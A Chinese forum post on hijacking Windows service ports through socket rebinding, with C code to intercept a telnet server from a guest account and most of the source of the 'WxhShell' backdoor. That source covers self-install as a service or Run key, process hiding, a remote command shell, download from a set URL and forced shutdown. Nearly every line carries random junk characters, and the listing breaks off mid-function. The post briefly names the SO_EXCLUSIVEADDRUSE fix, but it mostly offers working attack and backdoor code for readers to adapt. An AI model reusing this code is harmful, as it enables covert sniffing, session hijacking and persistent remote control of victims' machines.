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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #{`NJ2DU]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xW )8mv?4n  
HY#("=9< h  
  saddr.sin_family = AF_INET; F+^[8zK^  
a2)*tbM 9\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >'g60R[  
ATewdq[C  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); m{Xf_rQ w  
5d;K.O  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4[j) $!l`  
w8Vzx8  
  这意味着什么?意味着可以进行如下的攻击: md_s2d  
\aRB   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;G&O"S><]c  
~i {)J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) TU6EE  
~a)2 0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 r|$g((g  
"d*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  dQ o$^?  
` u)V 9{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1fG@r%4  
uB!P>v6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O4URr  
t)b>f~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :P'5_YSi  
IiU|@f~k  
  #include $S=OmdgR  
  #include cv&hT.1  
  #include TQfY%GKg(  
  #include    "K]4j]yU  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @}}1xP4Sr  
  int main() ^U1 +D^AJ  
  { yrb%g~ELGn  
  WORD wVersionRequested; I*t}gvUt9  
  DWORD ret; _J`M>W)8  
  WSADATA wsaData; xk<0QYv   
  BOOL val; Jx,s.Z0@7,  
  SOCKADDR_IN saddr; `Q[$R&\  
  SOCKADDR_IN scaddr; ba.OjK@  
  int err; EH%j$=@X  
  SOCKET s; [#V! XdQ,  
  SOCKET sc; 3 g!h4?^  
  int caddsize; {<Zqw]  
  HANDLE mt; )v.FAV:  
  DWORD tid;   +<#-52br\  
  wVersionRequested = MAKEWORD( 2, 2 ); o{eG6  
  err = WSAStartup( wVersionRequested, &wsaData ); 7wiu%zfa:=  
  if ( err != 0 ) { riQ?'!a7  
  printf("error!WSAStartup failed!\n"); HxAa,+k  
  return -1; ;">hCM7  
  } ttOsL')|  
  saddr.sin_family = AF_INET; DenCD9 f  
   *9 xD]ZZF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |9@;Muq;  
83|/sWrvh  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @ZWKs  
  saddr.sin_port = htons(23); /$Jh5Bv  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f:>jH+o.S  
  { D-/A>  
  printf("error!socket failed!\n"); )oCF| 2qc  
  return -1; U^S0H(>  
  } gne c#j  
  val = TRUE; qyC"}y-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [ ff.R  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) jKs8i$q  
  { C8-q<t#SF  
  printf("error!setsockopt failed!\n"); L T!X|O.  
  return -1; p^3d1H3   
  } 9)`wd&!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _;+&'=6.[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :I8t}Wg  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1,,:4 *)  
~M=`f{-$K  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (nG  
  { Si(?+bda0c  
  ret=GetLastError(); }r[BME  
  printf("error!bind failed!\n"); W*#/@/5  
  return -1; jLU)S)  
  } SX.v5plhc  
  listen(s,2); XPSWAp)  
  while(1)  G%{jU'2  
  { fzcT(y  
  caddsize = sizeof(scaddr); bzTM{<]sv  
  //接受连接请求 G"(!5+DLy  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~5zhK:7c  
  if(sc!=INVALID_SOCKET) 4H)a7 <,  
  { W\.(~-(So  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }#@LZ)]hK  
  if(mt==NULL) ]cK@nq)  
  { #:X :~T  
  printf("Thread Creat Failed!\n"); <U";V)  
  break; 16U@o>O  
  } -rBj-4|"  
  } x4(WvQ%O#  
  CloseHandle(mt); *%.*vPJ  
  } \ U_DTI  
  closesocket(s); _{8boDX#  
  WSACleanup(); 01b0;|  
  return 0; \hVFK6  
  }   9hQ{r 2  
  DWORD WINAPI ClientThread(LPVOID lpParam) -vQ`}e1  
  { m"5gzH  
  SOCKET ss = (SOCKET)lpParam; +VDB\n   
  SOCKET sc; 8dNJZoV  
  unsigned char buf[4096]; TOs|f8ay  
  SOCKADDR_IN saddr; b?l\Q Mvi  
  long num; G4~J+5m k  
  DWORD val; GOjri  
  DWORD ret; gvX7+F=}B  
  //如果是隐藏端口应用的话,可以在此处加一些判断 60m1 >"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   n/-I7Q!;u  
  saddr.sin_family = AF_INET; Tu"](|I>   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0&)4^->c  
  saddr.sin_port = htons(23); \_oHuw  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YR>xh2< 9  
  { fQ@["b   
  printf("error!socket failed!\n"); o5d)v)Rx=  
  return -1; pE#0949  
  } & |r)pl0$  
  val = 100; ;NEHbLH#F  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <_}u5E)7(  
  { _XN sDW4|  
  ret = GetLastError(); E;SF f  
  return -1; ;C3](  
  }  zcc]5>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $t^`Pt*:u  
  { 6 [IiJhVL  
  ret = GetLastError(); (Qnn  
  return -1; V*)gJg  
  } _?8T'?-1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .nnAI@7E  
  { _nF_RpS  
  printf("error!socket connect failed!\n"); JL1Whf  
  closesocket(sc); M~v{\!S  
  closesocket(ss); d] {^  
  return -1; X#fI$9a  
  } Cs<d\"+  
  while(1) $K hc?v  
  { 5u8 YHv  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 hhpH)Bi=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 FRr<K^M  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 i4l?q#X  
  num = recv(ss,buf,4096,0); 6w' ^,V  
  if(num>0) D0~mu{;c$  
  send(sc,buf,num,0);  I2b[  
  else if(num==0) &WIPz\  
  break; !GO4cbdQ  
  num = recv(sc,buf,4096,0); N?aU<-Tn  
  if(num>0) #qzozQ4  
  send(ss,buf,num,0); ^K8Ey#T  
  else if(num==0) .- w*&Hd7b  
  break; p AD@oPC  
  } hP #>`)aNY  
  closesocket(ss); y3l sAe#  
  closesocket(sc); 6D>o(b2  
  return 0 ; ~<aCn-h0  
  } a`}HFHm\2,  
:)&_  
FXIQS'  
========================================================== ^ `!6Yax?  
Xln'~5~)  
下边附上一个代码,,WXhSHELL \ /o`CV{O  
ie5"  
========================================================== (%".=x-  
=2< >dM#`  
#include "stdafx.h" 75a3H`  
h_J 'dJS  
#include <stdio.h> ,oR}0(^"\<  
#include <string.h> ,>)/y  
#include <windows.h> m}k rG  
#include <winsock2.h> Rh%x5RFFc  
#include <winsvc.h> i=Y#kL~f  
#include <urlmon.h> 0-7xcF@s  
#P1k5!u  
#pragma comment (lib, "Ws2_32.lib") B>Mk "WjQ  
#pragma comment (lib, "urlmon.lib") Y.ic=<0H  
+Oo>V~  
#define MAX_USER   100 // 最大客户端连接数 x.!%'{+ {  
#define BUF_SOCK   200 // sock buffer ~qRP.bV%f  
#define KEY_BUFF   255 // 输入 buffer #=h~Lr'UH  
Q\}5q3  
#define REBOOT     0   // 重启 hW]:CIqk  
#define SHUTDOWN   1   // 关机 7 'N&jI   
A+AqlM+$i  
#define DEF_PORT   5000 // 监听端口 94A re<  
U:p<pTnMR  
#define REG_LEN     16   // 注册表键长度 TRa|}JaI"  
#define SVC_LEN     80   // NT服务名长度 B#8!8  
qWdL|8  
// 从dll定义API [W` _`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2\_}81 hM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /K1YDq<=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :9 .ik  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ><%z~s  
)jvYJ9s  
// wxhshell配置信息 *?cE]U6;  
struct WSCFG { 0P z"[  
  int ws_port;         // 监听端口 2 g,UdG  
  char ws_passstr[REG_LEN]; // 口令 yy@g=<okt\  
  int ws_autoins;       // 安装标记, 1=yes 0=no X180_Kt2  
  char ws_regname[REG_LEN]; // 注册表键名  RCKb5p9  
  char ws_svcname[REG_LEN]; // 服务名 n"* A.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A\YP}sG1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {eL XVNR7R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;V@o 2a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G7 b>r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &G:#7HX@-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;>bcI).  
EHmw(%a|+  
}; ]F P(,:Yw  
Enyx+]9  
// default Wxhshell configuration )V7bi^r  
struct WSCFG wscfg={DEF_PORT, ~0eJ6i  
    "xuhuanlingzhe", r1f##  
    1, !c/G'se  
    "Wxhshell",  s'RE~,  
    "Wxhshell", um~U_&>  
            "WxhShell Service", N2WQrTA:S+  
    "Wrsky Windows CmdShell Service", "6o}g.  
    "Please Input Your Password: ", U,\3 !D0jt  
  1, pKMy:j  
  "http://www.wrsky.com/wxhshell.exe", WZ> }  
  "Wxhshell.exe" Dm2&}{&K  
    }; p@0Va  
Z$"E|nRN  
// 消息定义模块 qX>mOW^gT8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ')zdI]@ M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X|++K;rtfE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c"~ +Y2]tL  
char *msg_ws_ext="\n\rExit."; J4EQhuQ  
char *msg_ws_end="\n\rQuit."; Bu$Z+o  
char *msg_ws_boot="\n\rReboot..."; rE)lt0mkv  
char *msg_ws_poff="\n\rShutdown..."; K?`Fpg (  
char *msg_ws_down="\n\rSave to ";  Em?bV(  
`saDeur#X  
char *msg_ws_err="\n\rErr!"; D<% /:M  
char *msg_ws_ok="\n\rOK!"; Wb4+U;C^!'  
.'aW~WR  
char ExeFile[MAX_PATH]; XnR9/t  
int nUser = 0; u 6A!Sw  
HANDLE handles[MAX_USER]; j\@Ht~G  
int OsIsNt; k /srT<  
_P,3~ ;  
SERVICE_STATUS       serviceStatus; xA/Ein0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oK\{#<gCZ  
j S~W cu  
// 函数声明 t*KgCk1  
int Install(void); G*`Y~SJp  
int Uninstall(void); a*/%EP3  
int DownloadFile(char *sURL, SOCKET wsh); 2"~|k_  
int Boot(int flag); ;d5d$Np@m&  
void HideProc(void); uf q9+}  
int GetOsVer(void); Ls51U7  
int Wxhshell(SOCKET wsl); l7vU{Fd-h^  
void TalkWithClient(void *cs); X!6oviT|m  
int CmdShell(SOCKET sock); ,X^I]]  
int StartFromService(void); *7cc4 wGQ  
int StartWxhshell(LPSTR lpCmdLine); K FMx(fD  
w\SfzJN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x`9IQQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q.I  
@,kR<1  
// 数据结构和表定义 )/Z% HBn  
SERVICE_TABLE_ENTRY DispatchTable[] = m}`!FaB #  
{ n;QMiz:yY  
{wscfg.ws_svcname, NTServiceMain}, S3fyt]pp  
{NULL, NULL} N #C,q&;  
}; 'qoDFR\v  
4+?d0  
// 自我安装 8p"R4  
int Install(void) @?bO@  
{ {XR 3L'X  
  char svExeFile[MAX_PATH]; NW?.Ge.!P  
  HKEY key; -0P(lkylf  
  strcpy(svExeFile,ExeFile); <+3-(&  
u]`ur#_  
// 如果是win9x系统,修改注册表设为自启动 QTe>EJ12  
if(!OsIsNt) { 3IB||oN$T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZF@T,i9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dkUh[yo"H  
  RegCloseKey(key); 8>4@g!9E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \A#YL1hh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ah#bj8}  
  RegCloseKey(key); hsCts@R  
  return 0; nI0TvB D  
    } zfGS=@e]G  
  } RZ +SOZs7H  
} {PBm dX  
else { >oYr=O  
fC|NK+Xd`  
// 如果是NT以上系统,安装为系统服务 m0M;f+^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >n(Ga9E  
if (schSCManager!=0) i`st'\I  
{ &GKtD)  
  SC_HANDLE schService = CreateService <36z,[,kZ@  
  ( E=3UaYr  
  schSCManager, |g)/6jG<-  
  wscfg.ws_svcname, 6v1F. u  
  wscfg.ws_svcdisp, iCX Ki7  
  SERVICE_ALL_ACCESS, Tup2;\y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /l6r4aO2=  
  SERVICE_AUTO_START, Thc"QIk&4  
  SERVICE_ERROR_NORMAL, !TwH;#U w  
  svExeFile, xQKRUHDc  
  NULL, -mfdngp3  
  NULL, f?Am)  
  NULL, -5X*y4#  
  NULL, a]]>(Txc  
  NULL myq:~^L ;  
  ); _]aA58,j  
  if (schService!=0) AhA4IOG`.  
  { .).}ffhOL  
  CloseServiceHandle(schService); ,'}qLor  
  CloseServiceHandle(schSCManager); N0mP EF2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #0uD&95<  
  strcat(svExeFile,wscfg.ws_svcname); $-*E   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  "o{o9.w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yH<a;@C  
  RegCloseKey(key); 4+1aW BJ2  
  return 0; X6Wj,a  
    } 0r/pZ3/  
  } kklM"Av  
  CloseServiceHandle(schSCManager); n-)Xs;`2  
} 31*0b|Z  
} .$]%gjIBCl  
+CaA%u  
return 1; ;l$F<CzJay  
} kZU v/]Y.  
ud`!X#e~  
// 自我卸载 99/`23YL  
int Uninstall(void) 9*&RvsrX  
{ }K3!ujvR  
  HKEY key; }.S4;#|hw  
Xg^9k00C  
if(!OsIsNt) { #]vs*Sz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ex`!C]sQ  
  RegDeleteValue(key,wscfg.ws_regname); 3v?R"2\qS  
  RegCloseKey(key); aePLP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  Oye:V  
  RegDeleteValue(key,wscfg.ws_regname); TQ`4dVaf  
  RegCloseKey(key); `=QRC.b  
  return 0; &)Z!A*w]  
  } K3I|d;Y~X!  
} K.l7yBm  
} 552yzn1  
else { }]BH "  
+ r<d z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I}hY @  
if (schSCManager!=0) V;-$k@$b.  
{ bw[s<z|LKA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZNN^  
  if (schService!=0) u|eV'-R)s  
  { mh7JPbX|  
  if(DeleteService(schService)!=0) { EmFL %++V  
  CloseServiceHandle(schService); +BaZl<ZP1s  
  CloseServiceHandle(schSCManager); 1;FtQnvH  
  return 0; jMUN|(=Y  
  } ~u^MRe|`  
  CloseServiceHandle(schService); Jv[c?6He  
  } ?ypX``3#s7  
  CloseServiceHandle(schSCManager); E(p*B8d  
} B{6wf)[O  
} yd+.hg&J  
N)0V6q"  
return 1; -qW[.B  
} UZDXv=r|  
e{RhMjX<D  
// 从指定url下载文件 7}%Z>  
int DownloadFile(char *sURL, SOCKET wsh) fC<pCdsg  
{ Jb1L[sT2  
  HRESULT hr; h,!`2_&UQ  
char seps[]= "/"; Hsl0|jy(/  
char *token; /$Ca }>  
char *file; e]Q bC "  
char myURL[MAX_PATH]; ?y`we6~\1  
char myFILE[MAX_PATH]; S?BI)shmg  
KP*cb6vA  
strcpy(myURL,sURL); +J;T= p  
  token=strtok(myURL,seps); j8[RDiJ  
  while(token!=NULL) 4apy{W  
  { Yn+d!w<3:  
    file=token; /t=Fx94  
  token=strtok(NULL,seps); 5S/YVRXq  
  } ~A-Y%P  
yR'%UpaE  
GetCurrentDirectory(MAX_PATH,myFILE); QoBM2Q YO  
strcat(myFILE, "\\"); o-7,P RmKN  
strcat(myFILE, file); \YMe&[C:o  
  send(wsh,myFILE,strlen(myFILE),0); _GF{Duxh  
send(wsh,"...",3,0); WH^^.^(i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vDit&Lh{T  
  if(hr==S_OK) 7AouiL 2-W  
return 0; CA[3 R  
else A.wuB  
return 1; !Sj0!\  
(5\VOCT>4%  
} -Ed<Kl  
V X"! a  
// 系统电源模块 _i@4R<  
int Boot(int flag) FA7q pc  
{ U ,7O{YM  
  HANDLE hToken; 4Uzx2   
  TOKEN_PRIVILEGES tkp; 2, R5mL$  
UVz}"TRq.  
  if(OsIsNt) { =+ vl+h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H$4 4,8,m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "xxt_  
    tkp.PrivilegeCount = 1; S|pf.l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7B s:u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (Ee5Af,4  
if(flag==REBOOT) { *i,@d&J y]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Wfp>BC  
  return 0; TRzL":  
} NR9=V  
else { l)K8.(2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ef2i#BoZ  
  return 0; sn-P&"q  
} ;,7/>Vt  
  } K|V<e[X[V  
  else { +DwE~l  
if(flag==REBOOT) { OGWZq(c"6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x3tos!Y  
  return 0; {[:]}m(c  
} F`8B PWUY  
else { ~`Rb"Zn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h*B7UzCg  
  return 0; {"WfA  
} hRaX!QcG3  
} D\0q lCAs  
zbgH}6b  
return 1; 3!qp+i)?  
} ttfCiP$  
Pk/3oF  
// win9x进程隐藏模块 YQN@;  
void HideProc(void) )Rc  
{ ~pWV[oUD  
:N#8|;J1Fl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ["N_t:9I  
  if ( hKernel != NULL ) kR/Etm5_  
  { 3;Y 9<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @|6#]&v`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); reI4!,x  
    FreeLibrary(hKernel); .9VhDrCK  
  } k^ Qd%;bdF  
Z3qr2/  
return; AQm#a;  
} cP2n,>:  
Cc}3@Nf{/  
// 获取操作系统版本 #w1E3ahaX  
int GetOsVer(void) h\lyt(.s  
{ :D:Y-cG*n<  
  OSVERSIONINFO winfo; FXG,D J:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =x3T+)qCNX  
  GetVersionEx(&winfo); ';zS0Yk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PFI^+';  
  return 1; &1Cif$Y4w  
  else  sDl @  
  return 0; 7?"-:q  
} zJH:`~GxE  
tb/`*Yl@  
// 客户端句柄模块 9(pF!}1 %\  
int Wxhshell(SOCKET wsl) }P\J?8  
{ kHz?vVE/l  
  SOCKET wsh; BG^)?_69  
  struct sockaddr_in client; =k\Qx),Ir  
  DWORD myID; y"Ios:v@-  
5a%i%+;N  
  while(nUser<MAX_USER) ]Wg&r Y0  
{ z*e`2n#\  
  int nSize=sizeof(client); ,{Ga7rH*   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vWVQ8S.  
  if(wsh==INVALID_SOCKET) return 1; +HkEbR'G0  
w[]\%`69}Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7RCVqc"  
if(handles[nUser]==0) 4WXr~?Vq9  
  closesocket(wsh); TH>7XK<90M  
else 5gKXe4}\/|  
  nUser++; yF@72tK  
  } PM^Xh*~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uFnq3m^u  
Y$0K}`{  
  return 0; [oG Sy5bB  
} "?S> }G\  
Rc(E';uc  
// 关闭 socket 7;@o]9W  
void CloseIt(SOCKET wsh) <tgfbY^nL  
{ nj=nSD  
closesocket(wsh); *0/%R{+S  
nUser--; YJB/*SV^  
ExitThread(0); /[+qw%>  
} rYO~/N  
'k9 Qd:a}  
// 客户端请求句柄 Z)!#+m83>-  
void TalkWithClient(void *cs) %TYe]^/'y  
{ 1 EwCF  
jhB+ ]  
  SOCKET wsh=(SOCKET)cs; |\T!,~  
  char pwd[SVC_LEN]; v(`5exWV  
  char cmd[KEY_BUFF]; of/' 9Tj  
char chr[1]; >uR;^B5m  
int i,j; eCwR }m?_  
{)wl`mw3  
  while (nUser < MAX_USER) { 9E2OCLWrE  
/NUu^ N  
if(wscfg.ws_passstr) { %9b TfX"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !~`aEF3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); paZcTC  
  //ZeroMemory(pwd,KEY_BUFF); `P jS  
      i=0; T854}RX[{  
  while(i<SVC_LEN) { JlE b  
:LLz$[c8  
  // 设置超时 s)}EMDY  
  fd_set FdRead; 5"z~BE7  
  struct timeval TimeOut; TGzs|-  
  FD_ZERO(&FdRead); -?1ed|I8  
  FD_SET(wsh,&FdRead);  rqEP!S^  
  TimeOut.tv_sec=8; "O<TNSbrC  
  TimeOut.tv_usec=0; !m?W+ z~J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cv9-ZOxJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Xp~O?2:3l  
;aImz*1%t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bYwe/sR  
  pwd=chr[0]; _Kg"l5?B  
  if(chr[0]==0xd || chr[0]==0xa) { no9=K4h`  
  pwd=0; %h}3}p#4  
  break; 'Ooq.jaK;/  
  } #K\;)z(?  
  i++; \ mg  
    } ~' q&rvk`  
15ImwQ  
  // 如果是非法用户,关闭 socket (``|5;T\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZU.f)94u  
} Idr|-s%l6'  
;fB!/u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w"AO~LF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v<E_n;@9k  
ZmZ7E]c  
while(1) { r?}L^bK  
-z'6.I cO  
  ZeroMemory(cmd,KEY_BUFF); # N'_~:H  
vjd;*ORB  
      // 自动支持客户端 telnet标准   [t"#4[  
  j=0; )w0K2&)A  
  while(j<KEY_BUFF) { hSXZu?/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :s#&nY  
  cmd[j]=chr[0]; YQaL)t$0  
  if(chr[0]==0xa || chr[0]==0xd) { %kL]-Z  
  cmd[j]=0; 9` G}GU]@}  
  break; !uN_<!  
  } FmhN*ZXr #  
  j++; 1G 63eH)!  
    } #.|MV}6rQ  
7-c3^5gn{  
  // 下载文件 X-_0wR  
  if(strstr(cmd,"http://")) { Gt;U9k|i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m-R`(  
  if(DownloadFile(cmd,wsh)) yD( v_J*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Sult;y"u  
  else ^i6`w_/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o_?A^u  
  } >qci $  
  else { uY:u[  
J#Agk^Y 5  
    switch(cmd[0]) { wu19Pg?F  
  nACKSsWqI  
  // 帮助 :.?%e{7  
  case '?': { dgW/5g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tV9K5ON  
    break; MXynv";<H  
  } z5 :53,`D'  
  // 安装 +6\1 d5  
  case 'i': { 9`5qVM1O{  
    if(Install()) qWw{c&{Q],  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O],]\M{GL  
    else 7-[^0qS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U&L?IT=x  
    break; k[/`G5  
    } v:u=.by99  
  // 卸载 ThYHVJ[;  
  case 'r': { CChCxB  
    if(Uninstall()) ePe/@g1K*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "U iv[8B  
    else \-RVPa8k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kcZz WG|n  
    break; 5 DvD  
    } }+BbwBm&  
  // 显示 wxhshell 所在路径 z?Qt%1q  
  case 'p': { P*{*^D N  
    char svExeFile[MAX_PATH]; 9+co `t.  
    strcpy(svExeFile,"\n\r"); +t<'{KZ7;  
      strcat(svExeFile,ExeFile); Hb@PQcj  
        send(wsh,svExeFile,strlen(svExeFile),0); UYsyVY`Fm|  
    break; |H4f&& Wd  
    } Uf<IXx&;  
  // 重启 <jtu/U]78|  
  case 'b': { A9ru]|?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %<;PEQQ|C  
    if(Boot(REBOOT)) _2nNCu (  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IW- BY =C  
    else { 1n EW'F  
    closesocket(wsh); ~\[\S!"  
    ExitThread(0); Dt]*M_  
    } 2[Vs@X  
    break; ^26}8vt  
    } btv.M  
  // 关机 zM++ Z*  
  case 'd': { Ap9 %5:]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mE3M$2}  
    if(Boot(SHUTDOWN)) ec"+Il  
